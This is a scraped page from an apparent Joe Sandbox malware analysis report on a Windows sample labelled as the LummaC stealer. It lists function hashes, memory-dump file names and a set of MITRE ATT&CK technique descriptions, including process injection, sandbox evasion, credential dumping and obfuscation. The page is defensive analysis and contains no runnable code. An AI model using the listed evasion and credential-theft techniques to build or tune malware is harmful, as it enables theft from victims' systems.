String ID:
API String ID:
Opcode ID: 7cd97bf210e2405e354a4b2bbfeabc02475bfeed0829831d5a9564c5400c399b
Instruction ID: bd41011aba1466d51d6c164816bac73e2981d0d7c79449b8e45178bdc99084aa
Opcode Fuzzy Hash: 7cd97bf210e2405e354a4b2bbfeabc02475bfeed0829831d5a9564c5400c399b
Instruction Fuzzy Hash: 5751E1541183904ACB44EFB48CD1A3A7BF2DF5A301B0865DED89ACF367E634C2059B8A

Function 00662210 Relevance: .2, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2805755432.0000000000661000.00000020.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2805738375.0000000000660000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805813570.00000000006A9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805840920.00000000006B7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_5796.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54b4cdc185bd824f32a366e01aa38e3830d85f2b068e105fcf7a02dcaff9f3ff
Instruction ID: b763ba8e71448b7fa5f0ee05abd4f1978b85522a5c100ea3cec10b1645cc3853
Opcode Fuzzy Hash: 54b4cdc185bd824f32a366e01aa38e3830d85f2b068e105fcf7a02dcaff9f3ff
Instruction Fuzzy Hash: 8751B5B1800B069BD3209F28DC44756B7B6BF41364F14072CE8B5973E1E735EA15CB96

Function 00677054 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2805755432.0000000000661000.00000020.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2805738375.0000000000660000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805813570.00000000006A9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805840920.00000000006B7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_5796.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b644a2a0280d8b720ce0c79498988a8ae2438ef7329588f0be83880009e0485
Instruction ID: eb757e5515dbd1760b08f0243fa6a6982dc93b244e8e8cc00e9cdac3bc924df3
Opcode Fuzzy Hash: 2b644a2a0280d8b720ce0c79498988a8ae2438ef7329588f0be83880009e0485
Instruction Fuzzy Hash: 3B414D3565C7824BD336CE7984903AABBD3ABC6310F0C8A7DD4E497785DE78C8068751

Function 0069CD40 Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2805755432.0000000000661000.00000020.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2805738375.0000000000660000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805813570.00000000006A9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805840920.00000000006B7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_5796.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 549b4f452cc201c5641bd5c19871334d83eb667d6dce25a4303c69a392540114
Instruction ID: 0305ca523418a598a2b44bd59020d6d04d0450ab31a23afa0ca93715cf16cefe
Opcode Fuzzy Hash: 549b4f452cc201c5641bd5c19871334d83eb667d6dce25a4303c69a392540114
Instruction Fuzzy Hash: 3A310332B456104BC718CA29CC423AAB7D79BC9334F0AC639E899D73D4E63CCC458791

Function 0067B021 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2805755432.0000000000661000.00000020.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2805738375.0000000000660000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805813570.00000000006A9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805840920.00000000006B7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_5796.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41e31759b369a7817eb3d02a5144838709f87943d8bbf2e37e991323158f680f
Instruction ID: cf49e9b1e062c416c0e6f7e3fba5d8fed9cc45bcde2849ec0d5636906b50f5ff
Opcode Fuzzy Hash: 41e31759b369a7817eb3d02a5144838709f87943d8bbf2e37e991323158f680f
Instruction Fuzzy Hash: 39312831A583818BD714DA34C8A13BBBBD29B97214F089A2CE0E593391D3388506CB57

Function 006A1B50 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2805755432.0000000000661000.00000020.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2805738375.0000000000660000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805813570.00000000006A9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805840920.00000000006B7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_5796.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b87ed399d90c03de5fd795694e02ee454653f5ec7eeb900350363bffcb5d694
Instruction ID: f292cf14a0cdfb7b6a50d0f2554e714aab1655a0243d230858cdedf83c538b88
Opcode Fuzzy Hash: 2b87ed399d90c03de5fd795694e02ee454653f5ec7eeb900350363bffcb5d694
Instruction Fuzzy Hash: 924102BA5593018BD314DF10D89035BFAE3ABC6304F19CA1DE5C65B344DAB9D509CF92

Function 00691AF5 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2805755432.0000000000661000.00000020.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2805738375.0000000000660000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805813570.00000000006A9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805840920.00000000006B7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_5796.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41305cf3b9d177b5ddb8f36fbe4dc537e4b4ae08f3accfdb3d01e3decd18bcb9
Instruction ID: 84f6a6307f1b88f40ba67e8eb8addeea16ede84b7c13e55d8fc0eccc614b1426
Opcode Fuzzy Hash: 41305cf3b9d177b5ddb8f36fbe4dc537e4b4ae08f3accfdb3d01e3decd18bcb9
Instruction Fuzzy Hash: 1E2129A650D3C146DF394A3A44243B6AFE75FE3345F3C48ADD0C88B786DA3980068716

Function 00668320 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2805755432.0000000000661000.00000020.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2805738375.0000000000660000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805813570.00000000006A9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805840920.00000000006B7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_5796.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 080992afd48c0527231705f8ceffc0aba193dc8929bd9ea4cd8631f6a582b227
Instruction ID: a86ad6cb2cb16846e9f74b4f5d1d437de2b770bc7f071c455df7870eb42aa54b
Opcode Fuzzy Hash: 080992afd48c0527231705f8ceffc0aba193dc8929bd9ea4cd8631f6a582b227
Instruction Fuzzy Hash: B731282250D6F34EC332897D44901BDBAE16AA621872943FEDCF19B3C3C915C94697E1

Function 006A21E9 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2805755432.0000000000661000.00000020.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2805738375.0000000000660000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805813570.00000000006A9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805840920.00000000006B7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_5796.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b2264575336b42b905f27d989226b6f8bde2876f8c0ce033059207a10d8f30b
Instruction ID: d234b361f77600f286a077f97fdd41ec1db503055fb7b20eaa8c0427fd7482c3
Opcode Fuzzy Hash: 6b2264575336b42b905f27d989226b6f8bde2876f8c0ce033059207a10d8f30b
Instruction Fuzzy Hash: C131FF72E055018FC319CF2CC8623A6FBA2EB5A308F19D11CC5559B796C779A90A8F84

Function 0067B3F2 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2805755432.0000000000661000.00000020.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2805738375.0000000000660000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805813570.00000000006A9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805840920.00000000006B7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_5796.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7820a20ef9991089b1be7cae204066a79a98806c550696c28c01e642e78ff4b8
Instruction ID: e9fe25987c429194dcc6c63146bd52543061bba3997712e923f698d420d66973
Opcode Fuzzy Hash: 7820a20ef9991089b1be7cae204066a79a98806c550696c28c01e642e78ff4b8
Instruction Fuzzy Hash: 3031D2726183418BD718CF39C89136BBBE2AB86318F18DA6DE4D5D7389D7388805CB52

Function 00690F03 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2805755432.0000000000661000.00000020.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2805738375.0000000000660000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805813570.00000000006A9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805840920.00000000006B7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_5796.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11fbaa82057adc5e6ea7be4951b7fbafcbe2d99ff2b8bca47aee5f2f59fa0289
Instruction ID: 9d9fcb10fd1ea08a20a7ef17320514ca19337ee4921b068a6cd80b4cd2333984
Opcode Fuzzy Hash: 11fbaa82057adc5e6ea7be4951b7fbafcbe2d99ff2b8bca47aee5f2f59fa0289
Instruction Fuzzy Hash: 2521B1769583A04BE3348B358C513DBBBE3ABC2314F198A1CC8D95B685DB761805CB81

Function 0069A230 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2805755432.0000000000661000.00000020.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2805738375.0000000000660000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805813570.00000000006A9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805840920.00000000006B7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_5796.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: d46cefdd445d9be72d9f730985f009b514fbc51dde35ccc3a3a76d2e94067d48
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: E011EC336091D40EC7158E7C84005A57FD70A93735B1D83D9F4B4977D2D523CE8A8395

Function 0068C5E0 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2805755432.0000000000661000.00000020.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2805738375.0000000000660000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805813570.00000000006A9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805840920.00000000006B7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_5796.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b0bd2af23d8aba3338285f4a2fcfdf2a171a9890d65b304db72d3eef606dba8
Instruction ID: c0d0f2ba0f081daf7f5aa47d90493993f3bae54cf9995693b9af3b0178997228
Opcode Fuzzy Hash: 5b0bd2af23d8aba3338285f4a2fcfdf2a171a9890d65b304db72d3eef606dba8
Instruction Fuzzy Hash: 6F01B1F16017015BDB60BE24A4D1B77B2AAAF94728F18563CE80457302EB75ED58C3F9

Function 006A1816 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2805755432.0000000000661000.00000020.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2805738375.0000000000660000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805813570.00000000006A9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805840920.00000000006B7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_5796.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c98897d484bbdf371027712e7c4f1ee10506d319b919eaff35c323fd2264a908
Instruction ID: 9e5df7e6ca83fe9c9387a20e2209d6b59e4ef8fa1d2d3024f97e92dd9f6774d0
Opcode Fuzzy Hash: c98897d484bbdf371027712e7c4f1ee10506d319b919eaff35c323fd2264a908
Instruction Fuzzy Hash: DF11D0B92593018BD308DF54D89036BFBA3ABC6348F18D92DE1864B345CAB9D106CF46

Function 006A0A90 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2805755432.0000000000661000.00000020.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2805738375.0000000000660000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805813570.00000000006A9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805840920.00000000006B7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_5796.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 35bbb3b6ba64e2e4ec4353d178020748b44edd6f5ba1334673290ac886b6fc9a
Instruction ID: cce97c08223e7e39220c713770cb0a8a57f6f168aa1bfced38d3e2a9651bdc31
Opcode Fuzzy Hash: 35bbb3b6ba64e2e4ec4353d178020748b44edd6f5ba1334673290ac886b6fc9a
Instruction Fuzzy Hash: 8FF0F932640304ABE2106A599D40D7777AFFB8F728F104318F715132A2E762FD118FA1

Function 0067F3E0 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2805755432.0000000000661000.00000020.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2805738375.0000000000660000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805813570.00000000006A9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805840920.00000000006B7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_5796.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction ID: a3106c2b35463d4d981acc11babf9ad4599f5afd542c7f78bf7c9fe50f40d407
Opcode Fuzzy Hash: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction Fuzzy Hash: 7BD0A7615487B10E57588E3C44A08BBFBF9EA87722B1854EEE4D6E720AD221DC024698

Function 00685560 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 123COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,00000000,?), ref: 0068561D

Strings

MO, xrefs: 00685572
$%, xrefs: 006855A6
p:#, xrefs: 00685647

Memory Dump Source

Source File: 00000003.00000002.2805755432.0000000000661000.00000020.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2805738375.0000000000660000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805813570.00000000006A9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805840920.00000000006B7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_5796.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: $%$p:#$MO
API String ID: 237503144-3521940197
Opcode ID: 34cd3ff1f248722e0c80217a94a79b3cf85e755e8ec35908d20430479d086824
Instruction ID: 2b34a7099526fbb3f47d40899bbab16ac1947b0d0e327a0200f126c009d0614f
Opcode Fuzzy Hash: 34cd3ff1f248722e0c80217a94a79b3cf85e755e8ec35908d20430479d086824
Instruction Fuzzy Hash: 5A41C2765183448FE310DF14C89475FBBE2EFC5758F168A2CE4D49B780D6B9DA0A8B82

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report xHj1N8ylIf.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

